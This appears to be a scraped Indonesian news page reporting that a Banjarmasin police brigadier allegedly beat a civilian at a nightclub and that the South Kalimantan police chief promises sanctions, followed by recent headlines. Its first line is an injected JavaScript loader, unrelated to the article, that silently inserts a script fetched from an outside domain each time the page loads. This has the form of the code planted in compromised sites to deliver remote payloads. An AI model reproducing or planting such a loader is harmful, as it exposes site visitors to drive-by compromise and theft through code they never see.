(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Main Pukul Sembarangan, Brigadir R Terancam Sanksi


BANJARMASIN, Kapolda Kalsel Brigjen Pol Drs Rachmat Mulyana angkat bicara soal pengeroyokan yang dilakukan anak buahnya. Kapolda berjanji akan memberikan sanksi tegas kepada anggota jika terbukti bersalah dalam kasus pengeroyokan kepada warga di tempat hiburan malam, awal bulan lalu.

Komentar itu terkait dugaan anggota Polda Kalsel yang memukul seorang warga bernama HY di THM Grand Mitra Plaza, Kecamatan Banjarmasin Tengah, Kota Banjarmasin, Jumat (8/12), sekitar pukul 23.10 Wita.

Kronologis kejadian, ada 3 orang yang ikut masuk ke THM tersebut dan duduk di bar berdekatan dengan korban. HY tidak melawan dan tidak meanggapi teriakan anggota tersebut dan anggota Polri tersebut langsung memukul pipi kiri HY dengan keras. HY diseret keluar THM lalu terlempar ke tanah dan dipukuli lagi oknum tersebut. Diduga oknum yang melakukan pemukulan adalah Brigadir R yang bertugas di Resnarkoba Polda Kalsel.

Karena tidak terima dirinya dianiaya, HY akhirnya melaporkan perkara pemukulan terhadap dirinya ke Polisi, sebagaimana bukti laporkan ke SPKT Polresta Banjarmasin, dengan Laporan Polisi Nomor : LP/778/XII/2017/.

Terkait ulah oknum Brigadir R tersebut, sanksi tegas mengancam bakal diberikan, selain tindakan disiplin dan proses pidana kepada terduga oknum anggota tersebut.

“Dilakukan langkah tegas dengan memproses tuntas di Propam terhadap terduga oknum anggota yang melakukan pemukulan, termasuk kepada teman-temannya dan tidak menutup kemungkinan diproses pidana,” kata Kapolda Kalsel Brigjen Pol Drs Rachmat Mulyana melalui Kabid Humas Polda Kalsel AKBP Mochamad Rifa’I SIK, Selasa(26/12).

Menurut AKBP Mochamad Rifa’I SIK, Polda Kalsel sangat menyayangkan perbuatan yang dilakukan oleh terduga oknum anggota yang seharusnya tidak gampang tersulut emosi itu. Seharusnya sebagai anggota Polri tidak main hakim sendiri karena tugas Kepolisian adalah melindungi dan mengayomi masyarakat.

“Tugas Polri memberikan perlindungan dan pengayoman kepada masyarakat oleh karenanya supaya tidak terulang lagi kejadian serupa, Polda Kalsel akan memberikan sanksi tegas kepada terduga oknum anggota itu, jika terbukti salah dalam kasus pengeroyokan kepada warga,” ujar AKBP Mochamad Rifa’I SIK.

Pihak Polda Kalsel meminta maaf kepada pihak korban dan keluarga. Polda Kalsel juga memberikan bantuan pengobatan serta perlindungan hukum terhadap korban dan keluarga.(ammar)

 

Reporter : Ammar
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.